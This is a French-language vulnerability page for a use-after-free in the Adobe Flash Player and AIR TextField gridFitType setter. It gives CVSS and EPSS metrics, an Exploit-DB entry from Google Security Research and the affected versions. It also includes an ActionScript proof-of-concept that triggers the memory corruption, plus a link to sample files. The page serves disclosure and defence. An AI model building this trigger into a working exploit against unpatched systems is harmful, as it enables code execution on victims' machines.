Métriques
Métriques |
Score |
Gravité |
CVSS Vecteur |
Source |
V2 |
9.3 |
|
AV:N/AC:M/Au:N/C:C/I:C/A:C |
[email protected] |
EPSS
EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.
Score EPSS
Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.
Percentile EPSS
Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
Informations sur l'Exploit
Exploit Database EDB-ID : 39020
Date de publication : 2015-12-16 23h00 +00:00
Auteur : Google Security Research
EDB Vérifié : Yes
Source: https://code.google.com/p/google-security-research/issues/detail?id=559
There is a use-after-free in the TextField gridFitType setter. If it is set to an object with a toString method that frees the TextField, the property will be written after it is freed.
A PoC is as follows:
var toptf = this.createEmptyMovieClip("toptf", 1);
function func(){
toptf.removeMovieClip();
trace("here");
return "none";
}
var o = {toString : func};
var my_format:TextFormat = new TextFormat();
my_format.font = "Times-12";
var my_text1:TextField = toptf.createTextField("my_text1", toptf.getNextHighestDepth(), 9.5, 10, 400, 100);
my_text1.text = "this.gridFitType = none";
my_text1.embedFonts = true;
my_text1.antiAliasType = "advanced";
my_text1.gridFitType = o;
my_text1.setTextFormat(my_format);
var my_text2:TextField = toptf.createTextField("my_text2", toptf.getNextHighestDepth(), 9.5, 40, 400, 100);
my_text2.text = "this.gridFitType = advanced";
my_text2.embedFonts = true;
my_text2.antiAliasType = "advanced";
my_text2.gridFitType = "pixel";
my_text2.setTextFormat(my_format);
var my_text3:TextField = toptf.createTextField("my_text3", toptf.getNextHighestDepth(), 9.5, 70, 400, 100);
my_text3.text = "this.gridFitType = subpixel";
my_text3.embedFonts = true;
my_text3.antiAliasType = "advanced";
my_text3.gridFitType = "subpixel";
my_text3.setTextFormat(my_format);
A sample swf and fla are attached.
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39020.zip
Products Mentioned
Configuraton 0
Adobe>>Flash_player >> Version To (including) 18.0.0.255
Adobe>>Flash_player >> Version 19.0.0.185
Adobe>>Flash_player >> Version 19.0.0.207
Adobe>>Flash_player >> Version 19.0.0.226
Apple>>Mac_os_x >> Version -
Microsoft>>Windows >> Version -
Configuraton 0
Adobe>>Air >> Version To (including) 19.0.0.190
Google>>Android >> Version *
Configuraton 0
Adobe>>Flash_player >> Version To (including) 11.2.202.540
Linux>>Linux_kernel >> Version -
Configuraton 0
Adobe>>Air >> Version To (including) 19.0.0.213
Apple>>Mac_os_x >> Version -
Microsoft>>Windows >> Version -
Configuraton 0
Adobe>>Air_sdk >> Version To (including) 19.0.0.213
Adobe>>Air_sdk_\&_compiler >> Version To (including) 19.0.0.213
Apple>>Iphone_os >> Version *
Apple>>Mac_os_x >> Version -
Google>>Android >> Version *
Microsoft>>Windows >> Version -
Références